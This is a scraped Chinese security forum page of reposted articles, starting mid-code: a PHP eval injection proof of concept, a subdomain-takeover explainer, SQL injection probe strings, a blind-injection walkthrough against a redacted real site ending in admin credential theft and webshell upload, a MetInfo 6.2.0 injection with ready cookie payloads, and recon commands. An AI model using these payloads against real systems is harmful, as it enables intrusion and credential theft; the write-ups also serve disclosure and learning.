if(strpos($strElseIf0,'==')===false&&strpos($strElseIf0,'=')>0)$strElseIf0=str_replace('=', '==', $strElseIf0);
@eval("if(".$strElseIf0."){\$resultStr=\"$strElseIfThen0\";\$elseIfFlag=true;}");
$content=str_replace($iar[0][$m],$resultStr,$content);
}
}
return $content;
}
POC:
/search.php?searchtype=5&tid=&area=eval(phpinfo()) 

1.png

 

云安全----子域名takeover漏洞原理分析与防御(以微软为例)

Web安全渗透sq_smile 发表了文章 • 0 个评论 • 91 次浏览 • 2019-04-08 11:13 • 来自相关话题

0x01、subdomain takeover,子域名劫持/接管。 
0X02、漏洞实例--有趣的测试
某日,刚加上白帽师傅@wAnyBug,聊天过程可谓步步惊魂(我的cookie真的不值钱)。





猜测:看到是子域名,初步感觉子域名learnt.MicroSoft.Com被劫持(接管)。
 
确认:Chrome隐身模式下访问 learnt.MicroSoft.Com 看到了非微软内容,大致可确认是子域劫持(接管)。





猜测:此时如果我登录outlook并访问该子域名learnt.MicroSoft.Com,很可能cookie不保。
 
确认:后来发现微软的登录设计为SSO(单点登录,Single Sign On),即微软服务统一在login.live.com登录。所以可以肯定,如果我登录outlook并访问该子域名learnt.MicroSoft.Com,则cookie可被web后端获取。
0X03 实例分析
查询该网站的DNS记录:C:\Users\ASUS>nslookup learnt.MicroSoft.Com
Server: phicomm.me
Address: 192.168.0.1


Non-authoritative answer:
Name: subdomain-takeover-msrc.wanybug.Com
Address: 47.52.101.203
Aliases: learnt.MicroSoft.Com
ldlearntest.trafficmanager.net可以得出:Name: subdomain-takeover-msrc.wanybug.Com
Aliases: learnt.MicroSoft.Com
ldlearntest.trafficmanager.net       由此可以判断出 白帽师傅@wAnyBug 注册了ldlearntest.trafficmanager.net (随后确认确实如此)。
       注意:=12pttrafficmanager.net确实仍是"微软(中国)有限公司"的重要域名,用于Azure云服务,可以提供给用户们注册自己的云服务子域名。格式为 xxx.trafficmanager.net。
       通过搜索引擎 搜索site:trafficmanager.net|trafficmanager.cn可以看到很多云服务器的域名。如,某酒厂的域名为 www.dawine.com 通过查询:C:\Users\ASUS>nslookup www.dawine.com
Server: google-public-dns-a.google.com
Address: 8.8.8.8


Non-authoritative answer:
Name: dawine1.chinacloudapp.cn
Address: 139.217.132.95
Aliases: www.dawine.com
dawinechinaweb.trafficmanager.cn        可发现其服务器使用Azure云服务,并将符合其自身商业名称的域名,dawineroottea.traffiicmanger.cn作为www.dwwine.com的CNAM。
0X04  漏洞原理:A公司域名为 a.com 并使用云服务cloud.com提供服务,申请并得到了云服务主机 imA.cloud.com。
A公司运维人员将 shop.a.com 的CNAME 设置为 imA.cloud.com。
某天A公司的该服务因为某些原因不再使用了,于是直接停掉了云主机 imA.cloud.com (或该云主机无人管理已过期)。
此时shop.a.com 的CNAME依然是 imA.cloud.com(关键:A公司未重新设置 shop.a.com 的CNAME值)。
如果攻击者w使用cloud.com的云服务并尝试申请并成功得到了云服务主机 imA.cloud.com。
攻击者w将 imA.cloud.com 的web页面改为文本"hacked!"。
此时访问shop.a.com 则出现 文本"hacked!"。
0X05    漏洞危害:* 获取Cookie
* 构造页面内容 (包括但不限于钓鱼、广告...)
* 执行任意javascript代码(类似XSS) 所以XSS具有的危害 这里都有
* 探测内网(利用实时通信标准WebRTC 获取存活主机ip列表 甚至部分端口 能打到内网则类似SSRF漏洞 可对内网发起许多攻击... 如XSS可以利用redis未授权Getshell)
* 获取管理员或普通用户的cookie 读取账户特有的信息/执行账户特有的操作
* 窃取表单凭据 - 类似键盘记录 记录或读取表单输入的内容
* 构造钓鱼页面 - 窃取用户及管理员其他的凭证
* 漏洞联合 - 使用XSS无交互地利用CSRF漏洞. 有的anti-CSRF机制只判断Referer的值(自身/兄弟/父子域名 则正常响应) 如果这些站有某处存在XSS则可无交互地利用CSRF漏洞
* XSS蠕虫 - 在社交网站上可创建蠕虫式的XSS攻击 传播速度极快 影响极大
* 获取前端代码 - 如管理员后台系统 修改密码处的html代码中有对应的字段名 可根据代码构造请求 以实现新增或修改管理员账号密码
* DOS攻击 - 自动注销 让用户无法登录 严重影响业务使用
* DDoS攻击 - 对其他站点进行应用层DDoS攻击 如持续发送HTTP请求
* 传播非法内容 - 跳转或直接修改页面内容为非法内容. 如 广告 诋毁 等
* 使浏览器下载文件 - 结合社工方法欺骗用户 使其打开有危害的程序
* 挖矿等
*...
总之危害很大。
另外其他配置可能会扩大危害,如A公司设置了泛解析*.a.com 都指向了 云服务提供商的某个云主机的域名。
0X06    测试方法:1、手工:nslookup
2、michenriksen/aquatone命令。 aquatone-takeover --domain xx.com --threads 500
0X07    防御方案:* 提高资产管理能力 (避免云服务过期或被关闭,被他人"抢注")
* 可以考虑使用名称不可自定义(随机hash值)的云服务商 如258ea2e57bca0.Acloud.com (避免云服务过期或被关闭,被他人"抢注")
* 如果被"抢注" 重新设置域名的CNAME
 
文章转自阿里云的先知社区,原文链接为:https://xz.aliyun.com/t/4673
作者:arr0w1
  查看全部
0x01、subdomain takeover,子域名劫持/接管。 
0X02、漏洞实例--有趣的测试
某日,刚加上白帽师傅@wAnyBug,聊天过程可谓步步惊魂(我的cookie真的不值钱)。

1---和漏洞师父的聊天.png

猜测:看到是子域名,初步感觉子域名learnt.MicroSoft.Com被劫持(接管)。
 
确认:Chrome隐身模式下访问 learnt.MicroSoft.Com 看到了非微软内容,大致可确认是子域劫持(接管)。

2---漏洞示意图.png

猜测:此时如果我登录outlook并访问该子域名learnt.MicroSoft.Com,很可能cookie不保。
 
确认:后来发现微软的登录设计为SSO(单点登录,Single Sign On),即微软服务统一在login.live.com登录。所以可以肯定,如果我登录outlook并访问该子域名learnt.MicroSoft.Com,则cookie可被web后端获取。
0X03 实例分析
查询该网站的DNS记录:
C:\Users\ASUS>nslookup learnt.MicroSoft.Com
Server: phicomm.me
Address: 192.168.0.1


Non-authoritative answer:
Name: subdomain-takeover-msrc.wanybug.Com
Address: 47.52.101.203
Aliases: learnt.MicroSoft.Com
ldlearntest.trafficmanager.net
可以得出:
Name:    subdomain-takeover-msrc.wanybug.Com
Aliases: learnt.MicroSoft.Com
ldlearntest.trafficmanager.net
       由此可以判断出 白帽师傅@wAnyBug 注册了ldlearntest.trafficmanager.net (随后确认确实如此)。
       注意:=12pttrafficmanager.net确实仍是"微软(中国)有限公司"的重要域名,用于Azure云服务,可以提供给用户们注册自己的云服务子域名。格式为 xxx.trafficmanager.net
       通过搜索引擎 搜索site:trafficmanager.net|trafficmanager.cn可以看到很多云服务器的域名。如,某酒厂的域名为 www.dawine.com 通过查询:
C:\Users\ASUS>nslookup www.dawine.com
Server: google-public-dns-a.google.com
Address: 8.8.8.8


Non-authoritative answer:
Name: dawine1.chinacloudapp.cn
Address: 139.217.132.95
Aliases: www.dawine.com
dawinechinaweb.trafficmanager.cn
        可发现其服务器使用Azure云服务,并将符合其自身商业名称的域名,dawineroottea.traffiicmanger.cn作为www.dwwine.com的CNAM。
0X04  漏洞原理
A公司域名为 a.com 并使用云服务cloud.com提供服务,申请并得到了云服务主机 imA.cloud.com。
A公司运维人员将 shop.a.com 的CNAME 设置为 imA.cloud.com。
某天A公司的该服务因为某些原因不再使用了,于是直接停掉了云主机 imA.cloud.com (或该云主机无人管理已过期)。
此时shop.a.com 的CNAME依然是 imA.cloud.com(关键:A公司未重新设置 shop.a.com 的CNAME值)。
如果攻击者w使用cloud.com的云服务并尝试申请并成功得到了云服务主机 imA.cloud.com。
攻击者w将 imA.cloud.com 的web页面改为文本"hacked!"。
此时访问shop.a.com 则出现 文本"hacked!"。

0X05    漏洞危害
* 获取Cookie
* 构造页面内容 (包括但不限于钓鱼、广告...)
* 执行任意javascript代码(类似XSS) 所以XSS具有的危害 这里都有
* 探测内网(利用实时通信标准WebRTC 获取存活主机ip列表 甚至部分端口 能打到内网则类似SSRF漏洞 可对内网发起许多攻击... 如XSS可以利用redis未授权Getshell)
* 获取管理员或普通用户的cookie 读取账户特有的信息/执行账户特有的操作
* 窃取表单凭据 - 类似键盘记录 记录或读取表单输入的内容
* 构造钓鱼页面 - 窃取用户及管理员其他的凭证
* 漏洞联合 - 使用XSS无交互地利用CSRF漏洞. 有的anti-CSRF机制只判断Referer的值(自身/兄弟/父子域名 则正常响应) 如果这些站有某处存在XSS则可无交互地利用CSRF漏洞
* XSS蠕虫 - 在社交网站上可创建蠕虫式的XSS攻击 传播速度极快 影响极大
* 获取前端代码 - 如管理员后台系统 修改密码处的html代码中有对应的字段名 可根据代码构造请求 以实现新增或修改管理员账号密码
* DOS攻击 - 自动注销 让用户无法登录 严重影响业务使用
* DDoS攻击 - 对其他站点进行应用层DDoS攻击 如持续发送HTTP请求
* 传播非法内容 - 跳转或直接修改页面内容为非法内容. 如 广告 诋毁 等
* 使浏览器下载文件 - 结合社工方法欺骗用户 使其打开有危害的程序
* 挖矿等
*...
总之危害很大。
另外其他配置可能会扩大危害,如A公司设置了泛解析*.a.com 都指向了 云服务提供商的某个云主机的域名。

0X06    测试方法
1、手工:nslookup
2、michenriksen/aquatone命令。 aquatone-takeover --domain xx.com --threads 500

0X07    防御方案
* 提高资产管理能力 (避免云服务过期或被关闭,被他人"抢注")
* 可以考虑使用名称不可自定义(随机hash值)的云服务商 如258ea2e57bca0.Acloud.com (避免云服务过期或被关闭,被他人"抢注")
* 如果被"抢注" 重新设置域名的CNAME

 
文章转自阿里云的先知社区,原文链接为:https://xz.aliyun.com/t/4673
作者:arr0w1
 

sql注入之数据库类型判断

渗透测试willeson 发表了文章 • 2 个评论 • 102 次浏览 • 2019-04-08 06:53 • 来自相关话题

0x01:MSSQL

ID=1 and(selectcount(*)from sysobjects)>0返回正常

ID=1 and(selectcount(*)from msysobjects)>0返回异常

ID=1 and left(version(),1)=5%23//红色字体也可能是4

ID=1 and exists(selectid from sysobjects)

ID=1 and length(user)>0

ID=1CHAR(97) +CHAR(110) +CHAR(100) +CHAR(32) +CHAR(49) +CHAR(61) +CHAR(49)

0x02:ACCESS

ID=1 and(select count(*)from sysobjects)>0返回异常

ID=1 and(select count(*)from msysobjects)>0返回异常

0x03:MYSQL

id=2 and version()>0返回正常

id=2 and length(user())>0

id=2 CHAR(97,110,100,32,49,61,49)

0x04:ORACLE

ID=1 and'1'||'1'='11

ID=1 and0<>(selectcount(*)fromdual)

ID=1 CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)

0x05:其他方法

“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:

“--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:

“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。



作者:lndyzwdxhs
链接:https://www.jianshu.com/p/995f57e36918
来源:简书
简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。 查看全部
0x01:MSSQL


    ID=1 and(selectcount(*)from sysobjects)>0返回正常

ID=1 and(selectcount(*)from msysobjects)>0返回异常

ID=1 and left(version(),1)=5%23//红色字体也可能是4

ID=1 and exists(selectid from sysobjects)

ID=1 and length(user)>0

ID=1CHAR(97) +CHAR(110) +CHAR(100) +CHAR(32) +CHAR(49) +CHAR(61) +CHAR(49)


0x02:ACCESS


    ID=1 and(select count(*)from sysobjects)>0返回异常

ID=1 and(select count(*)from msysobjects)>0返回异常


0x03:MYSQL


    id=2 and version()>0返回正常

id=2 and length(user())>0

id=2 CHAR(97,110,100,32,49,61,49)


0x04:ORACLE


    ID=1 and'1'||'1'='11

ID=1 and0<>(selectcount(*)fromdual)

ID=1 CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)


0x05:其他方法


    “/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:

“--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:

“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。




作者:lndyzwdxhs
链接:https://www.jianshu.com/p/995f57e36918
来源:简书
简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。

[转]一次Web渗透经历:从SQL注入到Getshell过程

Web安全渗透zake 发表了文章 • 3 个评论 • 174 次浏览 • 2019-04-07 22:00 • 来自相关话题

这是一篇半手注的文章,中间有用Burp来批量跑表名和字段名的,感觉可以学习一下。
以下为转载:
转自:看雪    作者:毅种循环
原文:https://bbs.pediy.com/thread-249188.htm
 
目标站:
http://www.xxxx.org/pro_view.asp?id=1295
1、判断是否存在注入点:






1.1、 and 1=1和and 1=2





 
但是有一些网站是检测到异常也报错,因此还需要进一步检测。
1.2、利用减法5=6-1(数字型)











数据库识别减法,那么可以证明我们的语句执行成功,存在SQL注入。
我尝试了使用SQLMAP此类工具进行注入测试,发现存在注入,但是拒绝执行命令,只能尝试手工注入。
 
2、判断是数字型还是字符型,然后判断是什么数据库2.1、?id=1 and (select count(*) from sysobjects)>0  //正常为mssql,不同为access2.2、?id=1 and (select count(*) from msysobjects)>0   //msysobjects 是access3、爆破表名?id=1295 and exists(select top 1 1 from admin)存在:





 
不存在:





 
手工测试肯定难以确定表和字段,于是使用Burp进行联动爆破,接着就用字典跑其他的表。





 4、爆破字段。?id=1295 and exists(select user_name from admin)存在:





 
不存在:





 



5、跑字段数据。
5.1.长度:?id=1295 and IIF((SELECT TOP 1 LEN(user_name) FROM admin) =?, 1, 0)user_name:





 
password:





 
5.2、字段数据。
user_name第一个字符:?id=1295 and (SELECT TOP 1 asc(mid(user_name,1,1)) FROM admin)=0



 
查ASCII表得到第一个字符为【a】,同样方法得到用户名为admin。
注:这里不用用大于号【>】或小于号【<】来判断,会报错。
password第一个字符:?id=1295 and (SELECT TOP 1 asc(mid(password,1,1)) FROM admin)=99



 
查ASCII表得到第一个字符为【c】





 
同样方法得到密码为:cxxxxxxxxxxxx。MD5解密得到:qxxxxxxxx
但是现在新问题又来了,我没有找到后台,现在还得找一下后台。
 
找后台:
1、爆破






御剑无结果,尝试使用google hacking语法 
2、谷歌





 
偶然发现一枚未授权访问:
http://www.xxxxx.org/boss/news/xxxxxe.asp





 
慢慢测试可以找到其后台。










 
Getshell
上传:





 
抓包直接改后缀:











 完成收工。 查看全部
这是一篇半手注的文章,中间有用Burp来批量跑表名和字段名的,感觉可以学习一下。
以下为转载:
转自:看雪    作者:毅种循环
原文:https://bbs.pediy.com/thread-249188.htm
 
目标站:
http://www.xxxx.org/pro_view.asp?id=1295
1、判断是否存在注入点

784203_7VP726DTTC2VJ7Y.jpg


1.1、 and 1=1和and 1=2

784203_CRTT639MF9VJDVQ.jpg

 
但是有一些网站是检测到异常也报错,因此还需要进一步检测。
1.2、利用减法5=6-1(数字型)

784203_AUNMTZQ3E4UU7G7.jpg


784203_GU24YWASYE6VJDQ.jpg


数据库识别减法,那么可以证明我们的语句执行成功,存在SQL注入。
我尝试了使用SQLMAP此类工具进行注入测试,发现存在注入,但是拒绝执行命令,只能尝试手工注入。
 
2、判断是数字型还是字符型,然后判断是什么数据库
2.1、?id=1 and (select count(*) from sysobjects)>0  
//正常为mssql,不同为access
2.2、?id=1 and (select count(*) from msysobjects)>0   
//msysobjects 是access
3、爆破表名
?id=1295 and exists(select top 1 1 from admin)
存在:

784203_VUF7NZYUXTEDUFR.jpg

 
不存在:

784203_WP3GRTXMWFDXKUX.jpg

 
手工测试肯定难以确定表和字段,于是使用Burp进行联动爆破,接着就用字典跑其他的表。

784203_KGR7HHT9MDP73DW.jpg

 4、爆破字段。
?id=1295 and exists(select user_name from admin)
存在:

784203_RFHNM9AQXU7FK4V.jpg

 
不存在:

784203_S3RTKWM5K42X8WB.jpg

 
784203_BFFZGH4ZPK6A7W3.jpg

5、跑字段数据。
5.1.长度:
?id=1295 and IIF((SELECT TOP 1 LEN(user_name) FROM admin) =?, 1, 0)
user_name:

784203_7VP726DTTC2VJ7Y.jpg

 
password:

784203_43Y6AKBEUXYE39R.jpg

 
5.2、字段数据。
user_name第一个字符:
?id=1295 and (SELECT TOP 1 asc(mid(user_name,1,1)) FROM admin)=0
784203_YYDMR6TSAW4FUAK.jpg

 
查ASCII表得到第一个字符为【a】,同样方法得到用户名为admin。
注:这里不用用大于号【>】或小于号【<】来判断,会报错。
password第一个字符:
?id=1295 and (SELECT TOP 1 asc(mid(password,1,1)) FROM admin)=99
784203_JWX5K9FCJF3XT4S.jpg

 
查ASCII表得到第一个字符为【c】

784203_79F7GHKDPUXW59Q.jpg

 
同样方法得到密码为:cxxxxxxxxxxxx。MD5解密得到:qxxxxxxxx
但是现在新问题又来了,我没有找到后台,现在还得找一下后台。
 
找后台:
1、爆破

784203_C6GBPRUA4CX28SW.jpg


御剑无结果,尝试使用google hacking语法 
2、谷歌

784203_JEW2UECPBKYQP2V.jpg

 
偶然发现一枚未授权访问:
http://www.xxxxx.org/boss/news/xxxxxe.asp

784203_WGWXR6WKT5DW7QC.jpg

 
慢慢测试可以找到其后台。

784203_CRTT639MF9VJDVQ.jpg


784203_FC9VNYEXB7EABBG.jpg

 
Getshell
上传:

784203_PDKGM8XRTAQTTPM.jpg

 
抓包直接改后缀:

784203_NCK959XN2JV2RG3.jpg


784203_WMADCJSDDVVKNGJ.jpg


 完成收工。

metinfo 6.2.0最新版本前台注入漏洞

渗透测试zksmile 发表了文章 • 0 个评论 • 122 次浏览 • 2019-04-03 18:28 • 来自相关话题

https://nosec.org/home/detail/2436.html
https://xz.aliyun.com/t/4508
 
漏洞环境:docker pull zksmile/vul:metinfov6.2.0概述:
看到某个表哥发的metinfo 6.1.3最新注入(https://xz.aliyun.com/t/4508),以前我发过metinfo利用注入getshell的文章,这里正好可以结合。(https://nosec.org/home/detail/2324.html),在检查官方发布的最新版6.2.0版本的时候,发现该漏洞并未修复。
利用条件
前台,(https://xz.aliyun.com/t/4508 )作者在这里说需要注册会员,其实有一处不需要。漏洞详情
这里关键点在auth类的encode()和decode()方法。看下代码:class auth {

public $auth_key;

public function __construct() {
global $_M;
$this->auth_key = $_M['config']['met_webkeys'];
}

public function decode($str, $key = ''){
return $this->authcode($str, 'DECODE', $this->auth_key.$key);
}

public function encode($str, $key = '', $time = 0){
return $this->authcode($str, 'ENCODE', $this->auth_key.$key, $time);
}这里两个方法全都调用了authcode()方法,跟进authcode看一下:public function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}这里decode和encode算法可逆,但我们需要知道$key的值,查看构造函数: public function __construct() {
global $_M;
$this->auth_key = $_M['config']['met_webkeys'];
}这里$key的值是来源于met_webkeys这个配置,查看met_webkeys来源发现在安装的时候把这个key写入到./config/config_safe.php文件中。




查看/config/config_safe.php文件,这里写入方式类似以下,但p牛在某篇文章中说过,这种是无法解析的,php后面必须要有一个空白字符,右键查看源代码即可得到met_webkeys,但有的会报错,根据这个表哥所说和php线程安全有关,本地试了下好像是这样。










这里有两个利用点,简单说下其中一个。在register类的doemailvild()方法中,这里把用户提交的p参数进行了解密,并且传入到了get_user_valid()方法中。 




查看get_user_valid()方法,这里又把解密后的值传入到了get_user_by_username()方法。





查看get_user_by_username()方法,又传入了get_user_by_nameid()方法。





查看get_user_by_nameid()方法,直接拼接。





这里基本就清楚了,将auth类的authcode()方法copy本地。





访问本地文件得到加密后的字符串。





将加密后的字符串放到cookie,get或者post中,构造请求提交,延时注入成功。
payload
复现时需要注意的点:
1、php.ini中 short_open_tag=off
 
2、不管需不需要登录,最起码需要网站有一个会员存在。





 
这里有两个,一个是不需要登陆就可注入,另一个是coolcat表哥所说的需要以会员登陆。以下请自行替换p参数。
1、不需要登陆GET /admin/index.php?n=user&m=web&c=register&a=doemailvild HTTP/1.1

Cookie: p=00c7%2FDBwD23b41olxVCthTvDDTRBhldmrrdyA8S3t%2F3yAl4QZ0P%2FSfOS5zlB
2、 需要登陆GET /admin/index.php?n=user&m=web&c=profile&a=dosafety_emailadd HTTP/1.1

Cookie: p=497cD9UpkDtsvFzU9IKNlPvSyg1z%2bf09cmp8hqUeyJW9ekvPfJqx8cLKFSHr;<自行添加登陆后的cookie>修复方案
目前官网没有更新相关补丁。
白帽汇安全研究院建议限制config_safe.php的访问权限来进行应急修复。
Apache配置.htaccess文件:





Nginx在nginx.conf文件添加以下配置:





  查看全部
https://nosec.org/home/detail/2436.html
https://xz.aliyun.com/t/4508
 
漏洞环境:
docker pull zksmile/vul:metinfov6.2.0
概述:
看到某个表哥发的metinfo 6.1.3最新注入(https://xz.aliyun.com/t/4508),以前我发过metinfo利用注入getshell的文章,这里正好可以结合。(https://nosec.org/home/detail/2324.html),在检查官方发布的最新版6.2.0版本的时候,发现该漏洞并未修复。
利用条件
前台,(https://xz.aliyun.com/t/4508 )作者在这里说需要注册会员,其实有一处不需要。漏洞详情
这里关键点在auth类的encode()和decode()方法。看下代码:
class auth {

public $auth_key;

public function __construct() {
global $_M;
$this->auth_key = $_M['config']['met_webkeys'];
}

public function decode($str, $key = ''){
return $this->authcode($str, 'DECODE', $this->auth_key.$key);
}

public function encode($str, $key = '', $time = 0){
return $this->authcode($str, 'ENCODE', $this->auth_key.$key, $time);
}
这里两个方法全都调用了authcode()方法,跟进authcode看一下:
public function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
这里decode和encode算法可逆,但我们需要知道$key的值,查看构造函数:
    public function __construct() {
global $_M;
$this->auth_key = $_M['config']['met_webkeys'];
}
这里$key的值是来源于met_webkeys这个配置,查看met_webkeys来源发现在安装的时候把这个key写入到./config/config_safe.php文件中。
1.png

查看/config/config_safe.php文件,这里写入方式类似以下,但p牛在某篇文章中说过,这种是无法解析的,php后面必须要有一个空白字符,右键查看源代码即可得到met_webkeys,但有的会报错,根据这个表哥所说和php线程安全有关,本地试了下好像是这样。

2.png


3.png

这里有两个利用点,简单说下其中一个。在register类的doemailvild()方法中,这里把用户提交的p参数进行了解密,并且传入到了get_user_valid()方法中。 
4.png

查看get_user_valid()方法,这里又把解密后的值传入到了get_user_by_username()方法。

5.png

查看get_user_by_username()方法,又传入了get_user_by_nameid()方法。

6.png

查看get_user_by_nameid()方法,直接拼接。

7.png

这里基本就清楚了,将auth类的authcode()方法copy本地。

8.png

访问本地文件得到加密后的字符串。

9.png

将加密后的字符串放到cookie,get或者post中,构造请求提交,延时注入成功。
payload
复现时需要注意的点:
1、php.ini中 short_open_tag=off
 
2、不管需不需要登录,最起码需要网站有一个会员存在。

10.png

 
这里有两个,一个是不需要登陆就可注入,另一个是coolcat表哥所说的需要以会员登陆。以下请自行替换p参数。
1、不需要登陆
GET /admin/index.php?n=user&m=web&c=register&a=doemailvild HTTP/1.1

Cookie: p=00c7%2FDBwD23b41olxVCthTvDDTRBhldmrrdyA8S3t%2F3yAl4QZ0P%2FSfOS5zlB

2、 需要登陆
GET /admin/index.php?n=user&m=web&c=profile&a=dosafety_emailadd HTTP/1.1

Cookie: p=497cD9UpkDtsvFzU9IKNlPvSyg1z%2bf09cmp8hqUeyJW9ekvPfJqx8cLKFSHr;<自行添加登陆后的cookie>
修复方案
目前官网没有更新相关补丁。
白帽汇安全研究院建议限制config_safe.php的访问权限来进行应急修复。
Apache配置.htaccess文件:

11.png

Nginx在nginx.conf文件添加以下配置:

12.png

 

那些年挖过的SRC之我是捡漏王(转)

渗透测试fireant 发表了文章 • 0 个评论 • 110 次浏览 • 2019-04-02 19:04 • 来自相关话题

信息收集             
 
前言
输出这篇文章的目的也是为了好多人在挖洞时,看到别的大佬钱拿的不要不要的时候,只能在我们自己自己电脑面前一筹莫展,这篇文章也是为了带大家打开新的思路。 

俗话说得好,“不是你套路不够深,是你的基础不够扎实。”

第一步:选择一条不拥挤的道路
现在类似于漏洞盒子,补天这种平台企业SRC的开展,同时伴随着各个公司私有SRC挨个上线,我们可以讲目光聚焦到他们身上。

基础不扎实,如SQL注入,XSS,上传,稍微大一点的厂商,一个WAF就打死了一群工具小子,这里我暂且不谈,直接放弃,来选择扫描器无法的发现漏洞。

如果想挖洞赚钱,只有2条路:

1.客户端漏洞

这样的漏洞挖掘竞争的人会比常见web漏洞和主机端口漏洞少不少。

2.子域名下漏洞

主要讲的是一些边缘业务或者是刚上线的业务。

第二步:信息收集
老生常谈的一个东西了,举个简单的例子,像一些用户比较多的软件,一旦出现漏洞,影响的用户量是相当巨大的。

比如struts漏洞,这些框架漏洞也出了很久了吧,还是有人喜欢用它。

不管你去谷歌还是bing然后采集一波该特征的URL,扔到这个批量验证工具里面,仍然存在大把的ip存在struts命令执行漏洞。

这就是信息收集的成功因素的之一,更何况,现在还有钟馗之眼,傻蛋,fofa这些平台API的开放,无时无刻不在帮我们做着信息收集的工作,让我们多了一把更锋利的武器。

以上是废话,我们不赘诉了。

再谈谈SRC,举个简单的例子,SRC他们在平台上只声明了大致方向,只要属于他们的业务漏洞都收。

那么我们如何定位呢。

我的思路:

1.他的域名对应的真实IP,对应的C段,甚至B段;

2.他的子域名;

3.其他平台(如hackerone)。

如:

https://hackerone.com/alibaba

梦寐以求的目标范围,只要去国外的漏洞网站就能轻轻松松看到。惊不惊喜,意不意外?

查找子域名的文章太多太多,这里也不讲太多了。

当然也可以收集QQ群,微信讨论组,暗网的信息然后去提交威胁情报。

第三步:局部性挖掘
这里就针对目标SRC的资产做一个收集。

以补天的专属为例:

给了我们非常少的范围:

我们先whois查询一下:

然后反查:

查到该公司对应的域名。

这里可以收集顶级域名,然后通过子域名挖掘工具获取二级及三级域名。

李姐姐的神器:https://github.com/lijiejie/subDomainsBrute

高并发DNS暴力枚举,发现其他工具无法探测到的域名:
效果:

或者在线版的:

https://phpinfo.me/domain/

利用下面的脚本处理结果:#coding=utf8

import re

import os

def getlist():

filename = raw_input('filename')

print filename

ft = open("url.txt",'w+')

with open(str(filename), 'r') as f:

lines = [line.strip() for line in f.readlines()]

for x in lines:

lists=x.split('-')

result = lists[1]

ft.write(result+'\n')

print result

getlist()

print 'done'


删除重复项:
上面2个方法分别导出的结果如下图所示:
这里就回答了好多人经常问我的,为啥子域名挖掘工具要用那么多,因为你用的越多,你收集的越全面。

大部分大公司基本都是整个C段买下来,这里因为这里的目标使用的是代理商,所以我没有跑C段,不然资产可以爆炸多,包大家挖洞挖到眼泪流下来。

第四步:处理收集到的信息
把筛选出来的ip保存到url.txt,然后使⽤nmap命令将结果输出为.gnmp⽂件:

nmap -sS -p 80,443,8080 -Pn -iL url.txt -oA [绝对路径]
我用的命令是:

nmap -sS -O -sV -iL url.txt -p 80,8080,443 -v -T4 -Pn -oA C:\Users\Administrator.DESKTOP-0MHPHKA\Desktop\result    
 
再使用python转化为xsl格式:#coding:utf8

import sys

log = open("result.gnmap","r")

xls = open("output.csv","a")

xls.write("IP,port,status,protocol,service,version\n")

for line in log.readlines():

if line.startswith("#") or line.endswith("Status: Up\n"):

continue

result = line.split(" ")

#print result

host = result[0].split(" ")[1]

#print host

port_info = result[1].split("/, ")

#print port_info

